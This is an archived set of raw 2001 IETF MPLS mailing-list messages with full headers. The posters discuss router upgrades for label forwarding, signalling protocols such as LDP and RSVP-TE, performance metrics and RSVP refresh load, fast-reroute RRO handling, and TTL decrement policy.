> talking bout the router architecture,whether we need to revamp the
> whole architecture or some mere software upgrades will dot the
> thing. can a normal router be upgraded or we require a complete
> replacement.

The router's forwarding subsystem will have to be able to forward
packets based on labels.  This may require new hardware, microcode, FPGA
updates, or it may be possible through software alone.  Which will
depend on your existing router architecture.

Once that is in place, you will probably want the ability to manually
assign label operations (push, pop, swap).  This will be useful both for
testing and to allow manual creation of LSPs.

Then, you'll need to implement at least one signaling protocol (LDP,
CR-LDP or RSVP-TE being the three standard ones) in order to allow
dyanmic creation of LSPs.

-- David


From owner-mpls@UU.NET  Fri Oct 12 11:10:00 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00820
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 11:10:00 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkky02490;
	Fri, 12 Oct 2001 15:06:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkky03839
	for mpls-outgoing; Fri, 12 Oct 2001 15:06:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkky02748
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 15:06:35 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkky25656
	for <mpls@UU.NET>; Fri, 12 Oct 2001 15:05:13 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkky29243
	for <mpls@UU.NET>; Fri, 12 Oct 2001 15:05:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA20951
	for <mpls@UU.NET>; Fri, 12 Oct 2001 11:05:11 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA00239
	for <mpls@UU.NET>; Fri, 12 Oct 2001 11:05:12 -0400 (EDT)
Message-ID: <3BC706CA.F5FF6720@marconi.com>
Date: Fri, 12 Oct 2001 11:05:46 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <20011012030902.4581.qmail@mailFA12.rediffmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

k m a wrote:
> 
> 1.which is better" doing at kernel level(which involves kernel
> recompiling) or using existing models like NIST SWITCH environment
> and including my code for LDP(i told him the second one)".

"better" is relative.  It will depend on your OS environment, your
forwarding architecture, and your product requirements.

> 2.Even if i am implementing ,what is the purpose of implementing.
> can it that i can compare the characteristics (performance) of LDP
>  with other existing label distribution protocols like RSVPd and
> BGP .even when i am doing that implementation work  what  are the
> parameters i can compare??

You can't really compare them.  The different protocols are architected
differently and are designed to accomplish different goals.

LDP is a protocol designed for locally assigning labels to routes.  LSPs
don't exist as a fundamental concept - they are an emergent property
that results from multiple switches along a path all assigning labels to
common FEC's.

CR-LDP completely changes the focus of LDP.  It is designed around
creating LSP's.  It eliminates those parts of LDP that are used for
automatically assigning labels and adds new features for traffic
engineering (like QoS and explicit routing.)

RSVP-TE is another LSP-oriented protocol.  It has a fundamentally
different architecture from LDP and CR-LDP, though.

BGP is a wide-area routing protocol.  There are modifications to it to
allow label distribution, but it is still fundamentally a routing
protocol, not an LSP-setup protocol.

> 3.also,can i not do the comparison of performance with just the
> simulation itself???

Go ahead.  But the results may not match real-world conditions.

Even in a non-simulation environment, real-world performance will vary
grreatly depending on hardware design and protocol implementation. 
There will likely be a trade off between performance and other things
(like stability, conformance to standards, interoperability, support of
optional features, etc.)

> 4.the main question is"WHAT IS THE PURPOSE OF IMPLEMENTING LDP,.IN
> AN ACADEMIC ENVIRONMENT WHERE RESEARCH IS THE MAIN GOAL REALLY
> PLEASE TELL ME FOR WHAT REASON SHOULD I PROCEED WITH PROCESS OF
> IMPLEMENTING SINCE CISCO AND JUNIPER IS DOING THAT WORK ALREADY"

You should ask your advisor about that.  If you are building a router,
then you will need at least one signalling protocol in order to be
commercially viable.  If this is not what you are doing, then you should
ask whoever is funding your work.

> 5.what features will i use to check the performance??can i use
> packet sniffers like ethreal or TCPdump????will those s/w sniff my
> code????or what are the other tools i can use???

Some possibly useful metrics may include:

- Calls-per-second - the rate at which LSPs are established.
- Maximum data-plane throughput - which should be 100% if your line-
  cards are forwarding data in hardware - but will be affected by
  other code in the system if your box does software forwarding.
- Speed of responding to failures - number of LSPs rerouted per
  second, average down-time per LSP, etc.
- Memory consumed per-LSP
- Maximum number of LSPs that can be established and maintained
  without losing stability
- Ability to police/shape/filter data based on signaled QoS and
  DiffServ information

There are plenty more.  If this is a research project, you should be
able to come up with some on your own as well.

-- David


From owner-mpls@UU.NET  Fri Oct 12 11:48:09 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA01932
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 11:48:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkla02779;
	Fri, 12 Oct 2001 15:44:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkla12534
	for mpls-outgoing; Fri, 12 Oct 2001 15:43:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkla12529
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 15:43:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkla14402
	for <mpls@UU.NET>; Fri, 12 Oct 2001 15:41:33 GMT
Received: from vill.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlkla05067
	for <mpls@UU.NET>; Fri, 12 Oct 2001 15:41:47 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id LAA17070;
	Fri, 12 Oct 2001 11:41:16 -0400 (EDT)
Message-ID: <3BC70FD2.B4432BD3@vill.com>
Date: Fri, 12 Oct 2001 11:44:18 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <David.Charlap@marconi.com>
CC: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <20011012030902.4581.qmail@mailFA12.rediffmail.com> <3BC706CA.F5FF6720@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

David Charlap wrote:

> Some possibly useful metrics may include:
>
> - Calls-per-second - the rate at which LSPs are established.

I doubt if this is a good metric to investigate. It will only tell you
for a given CPU speed how many PDUs can you process. So what?
There is no algorithm involved. The protocol is developed based on
well defined requirements and there is hardly an chance that you will
try to improve the protocol to enhance the performance based on this
metric.

The second point is, I think MPLS is not "yet" so dynamic in nature
where on a given box you have LSP being setup and torn down as
voice telephone calls in a telecom switch. I think MPLS is largely a
TE and QOS applications deployment tool. Others might think differently.

> - Maximum number of LSPs that can be established and maintained
>   without losing stability

I am interested in your definition of "losing stability".

Regards,
--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Fri Oct 12 12:21:50 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02719
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 12:21:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkld06438;
	Fri, 12 Oct 2001 16:16:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkld04306
	for mpls-outgoing; Fri, 12 Oct 2001 16:15:35 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkld04297
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 16:15:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlklc21412
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:14:56 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlklc10281
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:14:48 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA28679
	for <mpls@UU.NET>; Fri, 12 Oct 2001 12:14:54 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA20295
	for <mpls@UU.NET>; Fri, 12 Oct 2001 12:14:55 -0400 (EDT)
Message-ID: <3BC71722.2FB8578C@marconi.com>
Date: Fri, 12 Oct 2001 12:15:30 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <20011012030902.4581.qmail@mailFA12.rediffmail.com> <3BC706CA.F5FF6720@marconi.com> <3BC70FD2.B4432BD3@vill.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Irfan Lateef wrote:
>>
>> Some possibly useful metrics may include:
>>
>> - Calls-per-second - the rate at which LSPs are established.
> 
> I doubt if this is a good metric to investigate. It will only tell
> you for a given CPU speed how many PDUs can you process. So what?
> There is no algorithm involved. The protocol is developed based on
> well defined requirements and there is hardly an chance that you
> will try to improve the protocol to enhance the performance based
> on this metric.

RFC's are not compilable code.  There are many ways to implement a
standard.  Some ways are better than others.  On equivalent hardware,
this is a useful measurement.

The original poster did say "performance" measurement.  Performance
means speed, and calls per second is a useful measurement.

> The second point is, I think MPLS is not "yet" so dynamic in nature
> where on a given box you have LSP being setup and torn down as
> voice telephone calls in a telecom switch.

I think this is purely a matter of how customers choose to use a switch.

I see no conceptual reason why one couldn't run MPLS to the desktop and
let applications create and destroy LSPs as they create and destroy
their TCP sessions.  The only real reason this isn't going to happen is
that it would be cost-prohibitive to replace all routers and layer-2
switches in a corporation with LSRs.  But prices always come down, and
this might become attractive in a few years.  (Or maybe not.)

>> - Maximum number of LSPs that can be established and maintained
>>   without losing stability
> 
> I am interested in your definition of "losing stability".

For instance, RSVP-TE without RSVP's refresh reduction extensions must
refresh each Path and Resv message individually.  If your refresh
interval is 30 seconds, then a transit router with 100,000 LSPs will
have to send out an average of 3333 Path messages per second.  It will
have to send out an avergage of 3333 Resv messages per second.  It will
have to receive an equal number.  This is a load of over 13,000 messages
per second.  It is likely that a CPU under this kind of load will result
in dropped packets - both to RSVP and to other protocols.  This will
result in route flapping, LSP flapping, and other symptoms, even if the
code is flawless.

Different implementations will start exhibiting this kind of instability
at different load levels, depending on how efficient the code is.

Of course, RSVP's refresh reduction extensions will allow much greater
numbers of LSPs before instability happens, since summery refreshes
impose much less overhead than individual refreshes.

And hard-state protocols like LDP don't have this issue at all, although
they may have other kinds of scalability issues.

-- David


From owner-mpls@UU.NET  Fri Oct 12 12:33:47 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02982
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 12:33:46 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkle07993;
	Fri, 12 Oct 2001 16:30:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkle05508
	for mpls-outgoing; Fri, 12 Oct 2001 16:30:10 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkle05466
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 16:30:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkld05502
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:29:54 GMT
Received: from apollo.mctr.umbc.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: apollo.mctr.umbc.edu [130.85.101.89])
	id QQlkle01972
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:30:08 GMT
Received: from mercury.mctr.umbc.edu (mercury.mctr.umbc.edu [130.85.101.142])
	by apollo.mctr.umbc.edu (8.9.3/8.9.3) with ESMTP id MAA13280;
	Fri, 12 Oct 2001 12:29:53 -0400 (EDT)
Received: from localhost (ayyangar@localhost)
	by mercury.mctr.umbc.edu (8.9.3+Sun/8.9.3) with SMTP id MAA13109;
	Fri, 12 Oct 2001 12:23:49 -0400 (EDT)
X-Authentication-Warning: mercury.mctr.umbc.edu: ayyangar owned process doing -bs
Date: Fri, 12 Oct 2001 12:23:49 -0400 (EDT)
From: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
X-Sender: ayyangar@mercury.mctr.umbc.edu
To: francis.arts@alcatel.be
cc: Alia Atlas <aatlas@avici.com>, mpls@UU.NET
Subject: Re: draft-gan-fast-reroute
In-Reply-To: <OFAB5DA682.2C242222-ONC1256AE3.001C4320@net.alcatel.be>
Message-ID: <Pine.GSO.3.95.1011012121419.11839K-100000@mercury.mctr.umbc.edu>
MIME-Version: 1.0
Content-Type: MULTIPART/RELATED; BOUNDARY="=_related 001D5D42C1256AE3_="
Content-ID: <Pine.GSO.3.95.1011012121419.11839L@mercury.mctr.umbc.edu>
Sender: owner-mpls@UU.NET
Precedence: bulk

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--=_related 001D5D42C1256AE3_=
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

That para also says that "When it receives Resv, ResvTear and PathErr
messages from the downstream detour destination, the messages MUST not be
forwarded upstream."

But all this holds only when both the primary path and the detour are
active. Once the primary path is gone because of that link going down, you
would have to send the Resv coming along the detour path upstream,
otherwise how are you going to maintain the LSP up on the detour?
Which is why the RRO is also going to change!

thanks,
-arthi

Arthi, Alias,

* When reading the gan-draft, I assumed that node 2 would send [@(2-1),
@(3-2), @(4-3), @(egress-4)]. I deduced this from the statement on p.10
(2nd paragraph) of the draft saying that <<the branching node MUST not mix
the messages for the main and the detour LSP's>>. 


* A similar question as for the RRO shows up for the path MTU: Which path 
MTU does node 2 send in the RESV to node 1 after the detour [node 2 - node 
4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 - 
egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress]?

In order to avoid fragmentation in the middle of the lsp, it is preferable 
to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress].



In order to answer all these questions (and new similar questions that may 
show up), we need to look at the general question: How do the signalling 
contexts of the main LSP and the detour LSP interact once the detour LSP 
has taken over?

Regards,

        Francis.

-------------------

To:
Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
cc:
Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET


Subject:
Re: draft-gan-fast-reroute



At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:
>Hi,
>
>>
>> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>>
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^
>>                       |                       |
>>                       +-----------------------+
>>
>> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].
>>
>> Assume that the link between node 2 and node 3 fails. Then the detour
>> [node 2 - node 4] is taking over. But what does node 2 then send in the
>> RRO object of the RESV message to node 1: Does node 2 continue to send
>> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
>> @(detour between 4-2), @(egress-4)] or ...?
>>
>---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)]
>as the RRO in the Resv once the detour has taken over.

No, the RRO in the RESV for the Primary LSP would not change.  Node 2 
would
continue to send the same RRO as before the failure.

If you look at lsp-tunnel-09.txt, there is a "local protection in-use" 
flag
which could be set in the IPv4 subobject of the RRO, but the 
implementation
of draft-gan with which I am familiar doesn't do this.

Alia




--=_related 001D5D42C1256AE3_=--


From owner-mpls@UU.NET  Fri Oct 12 12:38:47 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03055
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 12:38:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkle13138;
	Fri, 12 Oct 2001 16:35:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkle06018
	for mpls-outgoing; Fri, 12 Oct 2001 16:34:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkle06011
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 16:34:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkle19215
	for <mpls@uu.net>; Fri, 12 Oct 2001 16:34:05 GMT
Received: from merlot.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlkle10869
	for <mpls@uu.net>; Fri, 12 Oct 2001 16:34:20 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9CGXw059355;
	Fri, 12 Oct 2001 09:33:59 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id JAA09755; Fri, 12 Oct 2001 09:33:57 -0700 (PDT)
Date: Fri, 12 Oct 2001 09:33:57 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110121633.JAA09755@kummer.juniper.net>
To: mpls-ops@mplsrc.com, prabhu_b@in.huawei.com
Subject: Re: Can a Link have more than one color??
Cc: mpls@UU.NET
In-Reply-To: <751B6DD7A243D511AB9F0002557C5687011A99D9@HUAWEIMAIL>
Sender: owner-mpls@UU.NET
Precedence: bulk

Yes.

Kireeti.


From owner-mpls@UU.NET  Fri Oct 12 13:04:46 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03640
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 13:04:46 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklg11105;
	Fri, 12 Oct 2001 17:03:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklg18353
	for mpls-outgoing; Fri, 12 Oct 2001 17:02:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlklg18294
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 17:02:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlklg21920
	for <mpls@UU.NET>; Fri, 12 Oct 2001 17:01:48 GMT
Received: from vill.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlklg07571
	for <mpls@UU.NET>; Fri, 12 Oct 2001 17:02:03 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id NAA26412;
	Fri, 12 Oct 2001 13:01:46 -0400 (EDT)
Message-ID: <3BC722AF.21DC4DB8@vill.com>
Date: Fri, 12 Oct 2001 13:04:47 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <David.Charlap@marconi.com>
CC: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <20011012030902.4581.qmail@mailFA12.rediffmail.com> <3BC706CA.F5FF6720@marconi.com> <3BC70FD2.B4432BD3@vill.com> <3BC71722.2FB8578C@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



David Charlap wrote:

> Irfan Lateef wrote:
> I see no conceptual reason why one couldn't run MPLS to the desktop and
> let applications create and destroy LSPs as they create and destroy
> their TCP sessions.  The only real reason this isn't going to happen is
> that it would be cost-prohibitive to replace all routers and layer-2
> switches in a corporation with LSRs.

The other reason is, to bring it to the desktop Microsoft will have to
implement it
in Windwos. And the way they do it is, write a new protocol
Microsoft Personal Label Swapping(MPLS) and ask us all to re-design our
routers
or pay them to use the stack ;-)

BTW, your comment on losing stability was good and has got me thinking if
the
current routers(from the two big boys) are able to handle the numbers you
quoted
in a sizable network and continue to meet other survivability requirements.

Regards,

Irfan Lateef
Village Networks Inc,





From owner-mpls@UU.NET  Fri Oct 12 13:43:53 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04786
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 13:43:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkli27908;
	Fri, 12 Oct 2001 17:42:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkli00665
	for mpls-outgoing; Fri, 12 Oct 2001 17:42:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkli00660
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 17:42:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkli20843
	for <mpls@UU.NET>; Fri, 12 Oct 2001 17:41:16 GMT
Received: from grex.cyberspace.org by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: grex.cyberspace.org [216.93.104.34])
	id QQlkli25649
	for <mpls@UU.NET>; Fri, 12 Oct 2001 17:41:31 GMT
Received: from localhost (hemant@localhost) by grex.cyberspace.org (8.6.13/8.6.12) with SMTP id NAA27235; Fri, 12 Oct 2001 13:41:42 -0400
Date: Fri, 12 Oct 2001 13:41:41 -0400 (EDT)
From: "Hemant P. Kelkar" <hemant@cyberspace.org>
To: ilateef@vill.com
cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: router architecture for MPLS
Message-ID: <Pine.SUN.3.96.1011012133920.26734A-100000@grex.cyberspace.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi !
Isn't the situation like ATM to desktop ? Well, if we can't proceed with
Windows we can still go along with Linux for that purpose. Is this correct
and expected answer ?
regards,
Hemant


David Charlap wrote:

> Irfan Lateef wrote:
> I see no conceptual reason why one couldn't run MPLS to the desktop and
> let applications create and destroy LSPs as they create and destroy
> their TCP sessions.  The only real reason this isn't going to happen is
> that it would be cost-prohibitive to replace all routers and layer-2
> switches in a corporation with LSRs.

The other reason is, to bring it to the desktop Microsoft will have to
implement it
in Windwos. And the way they do it is, write a new protocol
Microsoft Personal Label Swapping(MPLS) and ask us all to re-design our
routers
or pay them to use the stack ;-)

BTW, your comment on losing stability was good and has got me thinking if
the
current routers(from the two big boys) are able to handle the numbers you
quoted
in a sizable network and continue to meet other survivability
requirements.

Regards,

Irfan Lateef
Village Networks Inc,



From owner-mpls@UU.NET  Fri Oct 12 14:16:17 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA05648
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 14:16:17 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklk19232;
	Fri, 12 Oct 2001 18:13:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklk22468
	for mpls-outgoing; Fri, 12 Oct 2001 18:12:50 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlklk22441
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 18:12:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlklk18299
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:11:27 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlklk22635
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:11:19 GMT
Message-ID: <3BC73248.55E39692@sandburst.com>
Date: Fri, 12 Oct 2001 14:11:20 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: Re: New revision of the MPLS ttl draft
References: <4B6D09F3B826D411A67300D0B706EFDE5CCA95@nt-exch-yow.pmc-sierra.bc.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shahram,

    Certainly.

    An service provider may provide multiple separate paths between
multiple enterprise sites - some sites perhaps consisting of multiple
interconnected buildings.  Perhaps the service used to connect one
path between two such sites is known to be more expensive and is
primarily intended to carry only a specific subset of the traffic - but
is intended also to be available for other traffic during a network fault
condition.

    In addition to asking the enterprise to assign a high link cost to the
link associated with this service, the service provider may very well
wish to assign a higher TTL decrement to this link as well (intending
to emulate a 'longer' link).  This would - for instance - reduce the
impact of looping traffic that might occur because of misconfiguration
of an enterprise router.  It will also effectively 'tax' packets at a higher
rate for using this link.

You wrote:

> Hi Eric,
>
> >
> >
> > Shahram,
> >
> >     I think you presuppose an application that suits your argument.
> >
> >     I can imagine applications that benefit from having an SLA fixed
> > value of TTL decrement other than one.
> >
>
> Could you please give an example.
>
> -Shahram
>
> > You wrote:
> >
> > > Puneet,
> > >
> > > >Much
> > > > like for IP,
> > > > where a node can decrement the TTL by more than 1 (rfc1812),
> > > > we leave the
